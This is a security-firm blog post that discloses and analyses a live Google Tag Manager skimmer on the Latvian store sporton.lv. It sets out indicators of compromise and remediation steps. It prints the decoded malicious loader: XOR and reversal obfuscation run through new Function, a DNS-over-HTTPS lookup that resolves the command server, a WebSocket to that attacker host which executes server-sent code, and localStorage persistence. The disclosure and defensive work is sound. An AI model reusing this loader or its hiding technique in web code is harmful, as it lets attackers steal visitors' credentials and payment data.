Sporton.lv GTM Breach: How Your Data Is Being Stolen Live | SerpCtrl
2026-05-29·8min
Anatomy: How GTM Becomes an Attack Vector (the sporton.lv Case)
GTMexploitscyber securitycase study
TL;DR
Active Threat: GTM container GTM-TN9CMVBQ contains a Custom HTML tag with a XOR-encrypted and reversed payload — currently active.
Execution Mechanism: The payload decrypts itself via new Function() and establishes a WebSocket connection to wss://adsbridge.fun/ws/clickstat.
Stealth (C2 Resolution): The C2 hostname is resolved via DNS-over-HTTPS (Cloudflare DoH) instead of directly — hiding traffic from network monitoring.
Data Exfiltration: All data entered into forms — names, emails, phones, passwords, payment information — is exfiltrated in real-time.
Persistence: localStorage.__ga_wsid stores the session to reconnect without performing a new DNS lookup.
Corporate Status: The store's support service could not confirm the existence of an IT team. Emails remained unanswered.
Discovery Method: Static analysis of the website, including the investigation of GTM and other scripts.
If you have entered contact information, registered, or made a purchase on sporton.lv in recent months — consider your data compromised. Change passwords that might be reused elsewhere, and monitor your payment card statements.
Why GTM Was Chosen as the Attack Vector
GTM is a Google product. It loads from googletagmanager.com. Browsers and security tools trust it by default. However, GTM allows the injection of arbitrary JavaScript via Custom HTML tags. This code executes on your page, with your page's privileges, and gains access to everything — cookies, localStorage, forms, network requests, and the DOM.
Add to that the following facts:
GTM access is usually managed by a marketing agency or marketing team — not developers, and not security.
Agency employees frequently leave the company without their access being revoked.
GTM does not offer a solid native audit trail detailing who changed what and when.
Piled Custom HTML tag code is not validated before publishing — a single click on "Publish" makes it active for website users.
GTM compromise is the hidden vector of e-commerce. Most store owners do not even know who has access to their container.
Technical Anatomy: Stage by Stage
Stage 1 — Obfuscation
When looking inside the malicious Custom HTML tag, you see the following code (shortened):
JavaScript
(function(c, d) { !function(a) { a = function(e, b) { return e.split("").map(function(f, g) { return String.fromCharCode(f.charCodeAt(0) ^ b.charCodeAt(g % b.length)) }).join("") }(a.split("").reverse().join(""), d); (new Function(a))() }(c)})("<encrypted_payload>", "gtag");
Three layers of obfuscation wrapped inside a single function:
a.split("").reverse().join("") — the payload string is reversed.
charCodeAt(0) ^ b.charCodeAt(...) — each character is XOR-encrypted using the key "gtag".
new Function(a)() — the decrypted string is executed as live code.
This is a classic anti-forensics technique. If someone opens the GTM container and inspects the tag content, they see an incomprehensible pile of letters and conclude it is some sort of analytics tracking. Three layers of attack hidden inside a 20-line function.
The keyword "gtag" was chosen deliberately. If someone searches the GTM container for "gtag", it appears to be within a completely normal context.
Stage 2 — The Decrypted Payload
After decryption, the true code reveals itself:
JavaScript
!(function(g = 'Google' + 'Tag' + 'Manager') { const decode = (s, ls = false) => { let digits = s.match(/#([^#]+)#/)?.[1]?.split(',').map(Number); if (!digits) return; ls ? localStorage.setItem('__ga_wsid', '#' + digits.join(',') + '#') : false; let [key, ...encoded] = digits; window.ws = new WebSocket( 'wss://' + String.fromCharCode(...encoded.map(byte => byte ^ key)) + '/ws/clickstat' ); window.ws.addEventListener('message', event => { new Function(atob(event.data))(); }); }; const runWs = () => { let encodedUrl = '#59,39,39,35,...,17#' .match(/#([^#]+)#/)?.[1]?.split(',').map(Number); if (!encodedUrl) return; let xorKey = 83; fetch(String.fromCharCode(...encodedUrl.map(b => b ^ xorKey))) .then(r => r.text()) .then(data => { decode(data, true); }); }; localStorage.getItem('__gf_form_data') ? false : localStorage.getItem('__ga_wsid') ? decode(localStorage.getItem('__ga_wsid')) : runWs();})();
Pay attention to the logic branch at the bottom:
If __gf_form_data already exists in localStorage > Do nothing (data is already available).
If __ga_wsid exists > Open a WebSocket directly against the stored hostname.
Otherwise > Launch runWs(), which resolves the C2 via DNS-over-HTTPS.
The variable name g is defined as 'Google' + 'Tag' + 'Manager' — yet another layer of camouflage to make the code look official.
Stage 3 — C2 Resolution via DoH
This is where it gets interesting. Most client-side malware scripts hardcode the C2 hostname directly into the code. This makes it easy to find and block.
This script does not do that. Instead, it calls Cloudflare DNS-over-HTTPS:
HTTP
GET https://cloudflare-dns.com/dns-query?dns=AAABAAABAAAAAAAACmNsaWNrZ2F0b3IEaW5mbwAAEAABAccept: application/dns-message
Decoded from the base64url DNS wire format, this is a TXT request for clickgator.info.
The response for the TXT record is: #157,252,249,238,255,239,244,249,250,248,179,251,232,243#
The first number (157) is the XOR key. The rest are XOR-decrypted using 157:
$252 \oplus 157 = 97$ > 'a'
$249 \oplus 157 = 100$ > 'd'
$238 \oplus 157 = 115$ > 's'
$255 \oplus 157 = 98$ > 'b'
$239 \oplus 157 = 114$ > 'r'
$244 \oplus 157 = 105$ > 'i'
$249 \oplus 157 = 100$ > 'd'
$250 \oplus 157 = 103$ > 'g'
$248 \oplus 157 = 101$ > 'e'
$179 \oplus 157 = 46$ > '.'
$251 \oplus 157 = 102$ > 'f'
$232 \oplus 157 = 117$ > 'u'
$243 \oplus 157 = 110$ > 'n'
Result: adsbridge.fun
Three things worth noticing here:
Trusted Endpoint: cloudflare-dns.com is a trusted endpoint. Standard network monitors, EDRs, and ad blockers let it pass without questions. Traffic to the attacker's DNS infrastructure looks identical to when your page itself uses Cloudflare DNS resolution.
TTL 60 seconds: The attacker can change the C2 hostname at any moment without touching the GTM tag. You can clean the GTM, but if localStorage.__ga_wsid already exists in your clients' browsers — the connection continues using the old hostname.
Encoded URL with XOR 83: Even the fetch URL itself is hidden. Static analysis within the GTM container looking for the cloudflare-dns.com substring will find nothing.
Stage 4 — WebSocket C2
JavaScript
window.ws = new WebSocket('wss://adsbridge.fun/ws/clickstat');window.ws.addEventListener('message', event => { new Function(atob(event.data))();});
The server side sends base64-encoded JavaScript payloads. The client decodes and executes them via new Function(). Complete, unrestricted remote code execution — a silent attribute of the attack vector providing endless downstream possibilities.
What the attacker could do from this point forward:
Send a script that intercepts all Gravity Forms submissions and exfiltrates them via the same WebSocket.
Replace the payment form's action URL with a phishing endpoint.
Redirect the visitor to a fake checkout page.
Inject a session token stealer.
Send push notifications through the browser API using your domain.
All of this happens under the privileges of your page domain and using your SSL certificate in the URL bar. The browser security model sees nothing wrong.
Stage 5 — Persistence
JavaScript
ls ? localStorage.setItem('__ga_wsid', '#' + digits.join(',') + '#') : false;
After the first successful C2 resolution, the TXT record is saved in localStorage.__ga_wsid. All subsequent visits bypass the DNS lookup and connect directly to adsbridge.fun.
This means that even after fixing the GTM container — visitors who have this localStorage key stored in their browser will continue connecting to the attacker's server until their cache is cleared or the session token expires.
The persistence is not on your server. It is in your clients' browsers.
Indicators of Compromise (IOC)
If you are checking your GTM container or client-side traffic, look for:
Type: GTM container
Value: GTM-TN9CMVBQ (the specific sporton.lv case)
Type: C2 lookup domain
Value: clickgator.info
Type: C2 resolution method
Value: DNS TXT via cloudflare-dns.com/dns-query (RFC 8484 DoH)
In static analysis within GTM containers, look for:
new Function( patterns (legitimate ad analytics practically never use this).
.split("").reverse().join("") patterns.
charCodeAt combined with ^ (XOR).
Numeric sequences with # separators.
References to cloudflare-dns.com/dns-query.
How This Made Its Way Into GTM in the First Place
We do not know precisely how the attacker obtained GTM write access within the sporton.lv container. But the most common paths in Latvia are:
The former agency employee: An agency is added as a collaborator to the GTM account. An employee leaves the agency. The agency forgets to close the employee's Google account. After 8 months, they make changes.
The phished marketing manager: A targeted phishing email campaign that bypassed Google login. A hijacked account with GTM access.
The agency or business owner itself: Not all agencies or websites are nice and fluffy. Rare cases, but they exist.
To prevent all of these possibilities — one single thing works: an access audit.
What You Need to Do Tonight
Open your GTM account. Now. This takes 10 minutes.
1. Review the access list
GTM $\rightarrow$ Admin $\rightarrow$ User Management. You must see every person and their role. If you see email addresses you do not recognize — remove them now. If you see emails from former agencies you no longer work with — remove them now.
2. Review the publish history
GTM $\rightarrow$ Versions. Look through the last 10–20 versions — who published, when, and what they changed. If you see versions you do not know about, someone unrecognized is working or has worked inside.
3. Enable 2FA for everyone
Mandatory. Not just for yourself. For everyone who has access. Without exceptions, alongside notifications for every new publication: Admin $\rightarrow$ Container Notifications. Admin $\rightarrow$ Account Settings $\rightarrow$ Require 2-step login verification for certain operations.
Broader Context — Latvian E-Commerce
sporton.lv is not the only one. Simply the first to be publicly disclosed.
Our experience allows us to perform this type of audit, as well as to find and explain how to prevent such errors or malicious actions. Not everything is malicious — some are poorly implemented analytics, some are legitimate but terribly written third-party widget code. But each of them runs through your client's browser every single time they open your page.
This is the hidden perimeter nobody talks about.
From a GDPR perspective, this is also a personal data processing incident. If your Gravity Forms submissions are compromised — you have 72 hours to notify the Data State Inspectorate (DVI). But to notify it, you must discover it first. Most Latvian e-commerce operators do not even know how to find such a compromise.
Our Take
SerpCtrl performs static analysis of GTM containers. This is not SEO work in the classic sense. But it is SEO in the 2026 sense — trustworthiness, security, EEAT signals, and technical perfection are what allow you to maintain and grow your organic presence.
Google will penalize pages where it finds skimmers. Your clients — even faster.
GTM Audit — send over your container ID, and we will send you an audit. No contract, no presentation. Sign up >
Technical investigation — Artūrs Vīgants. The sporton.lv team received multiple attempts to establish contact via email and phone but did not react. At the time of this article's publication, the GTM container is still active and malicious.